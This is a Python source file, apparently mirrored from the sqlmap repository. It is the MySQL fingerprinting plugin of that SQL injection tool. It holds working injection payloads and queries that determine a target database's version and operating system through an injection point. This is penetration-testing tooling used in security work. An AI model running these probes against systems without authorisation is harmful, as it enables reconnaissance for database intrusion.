mirror of
https://github.com/sqlmapproject/sqlmap.git
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c8f943f5e4
Major code refactoring and commenting to detection engine. Ask user whether or not to proceed to test remaining parameters after an injection point has been identified. Restore beep at SQL injection find. Avoid reuse of same variable in DBMS handler code. Minor adjustment of payloads XML file.
280 lines
10 KiB
Python
280 lines
10 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.enums import PLACE
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from lib.core.session import setDbms
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from lib.core.settings import MYSQL_ALIASES
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def __commentCheck(self):
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infoMsg = "executing MySQL comment injection fingerprint"
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logger.info(infoMsg)
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query = agent.prefixQuery("/* NoValue */")
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "unable to perform MySQL comment injection"
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logger.warn(warnMsg)
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return None
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# MySQL valid versions updated on 01/2010
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versions = (
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(32200, 32234), # MySQL 3.22
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(32300, 32360), # MySQL 3.23
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(40000, 40032), # MySQL 4.0
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(40100, 40123), # MySQL 4.1
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(50000, 50090), # MySQL 5.0
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(50100, 50142), # MySQL 5.1
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(50400, 50405), # MySQL 5.4
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(50500, 50502), # MySQL 5.5
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(60000, 60011), # MySQL 6.0
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)
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for element in versions:
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prevVer = None
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for version in range(element[0], element[1] + 1):
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randInt = randomInt()
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version = getUnicode(version)
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query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result:
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if not prevVer:
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prevVer = version
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if version[0] == "3":
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midVer = prevVer[1:3]
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else:
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midVer = prevVer[2]
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trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
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return trueVer
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prevVer = version
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return None
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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comVer = self.__commentCheck()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if comVer:
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comVer = formatDBMSfp([comVer])
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value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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References for fingerprint:
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* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
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* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
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* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
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* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
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* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
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"""
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if ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \
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or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \
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kb.dbmsVersion[0] != "Unknown":
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "")
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "")
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kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "")
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setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0]))
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if str(kb.dbmsVersion[0]) >= '5':
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kb.data.has_information_schema = True
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self.getBanner()
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if not conf.extensiveFp:
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return True
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infoMsg = "testing MySQL"
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logger.info(infoMsg)
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randInt = getUnicode(randomInt(1))
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payload = agent.fullPayload("AND CONNECTION_ID()=CONNECTION_ID()")
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result = Request.queryPage(payload)
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if result:
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infoMsg = "confirming MySQL"
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logger.info(infoMsg)
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payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DBMS is not MySQL"
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logger.warn(warnMsg)
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return False
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# Determine if it is MySQL >= 5.0.0
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if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2, suppressOutput=True) == randInt:
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kb.data.has_information_schema = True
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kb.dbmsVersion = [">= 5.0.0"]
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setDbms("%s 5" % DBMS.MYSQL)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check if it is MySQL >= 5.5.0
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if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "6":
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kb.dbmsVersion = [">= 5.5.0"]
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# Check if it is MySQL >= 5.1.2 and < 5.5.0
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elif inject.getValue("SELECT MID(@@table_open_cache, 1, 1)", unpack=False):
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if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
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kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
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elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
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kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
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elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
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kb.dbmsVersion = ["= 5.1.6"]
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elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2, suppressOutput=True) == randInt:
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kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
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else:
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kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
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# Check if it is MySQL >= 5.0.0 and < 5.1.2
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elif inject.getValue("SELECT MID(@@hostname, 1, 1)", unpack=False, suppressOutput=True):
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kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
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elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1, suppressOutput=True) == "1":
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kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
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elif inject.getValue("SELECT DATABASE() LIKE SCHEMA()", suppressOutput=True):
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kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
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else:
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kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
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# Otherwise assume it is MySQL < 5.0.0
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else:
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kb.dbmsVersion = ["< 5.0.0"]
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setDbms("%s 4" % DBMS.MYSQL)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check which version of MySQL < 5.0.0 it is
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coercibility = inject.getValue("SELECT COERCIBILITY(USER())", suppressOutput=True)
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if coercibility == "3":
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kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
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elif coercibility == "2":
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kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
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elif inject.getValue("SELECT CURRENT_USER()", suppressOutput=True):
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
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if inject.getValue("SELECT CHARSET(CURRENT_USER())", suppressOutput=True) == "utf8":
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kb.dbmsVersion = ["= 4.1.0"]
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else:
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
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elif inject.getValue("SELECT FOUND_ROWS()", charsetType=1, suppressOutput=True) == "0":
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kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
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elif inject.getValue("SELECT CONNECTION_ID()", suppressOutput=True):
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kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
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elif re.search("@[\w\.\-\_]+", inject.getValue("SELECT USER()", suppressOutput=True)):
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kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
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else:
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kb.dbmsVersion = ["< 3.22.11"]
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return True
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else:
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warnMsg = "the back-end DBMS is not MySQL"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system"
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logger.info(infoMsg)
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datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False, suppressOutput=True)
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if datadirSubstr == "/":
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kb.os = "Linux"
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else:
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kb.os = "Windows"
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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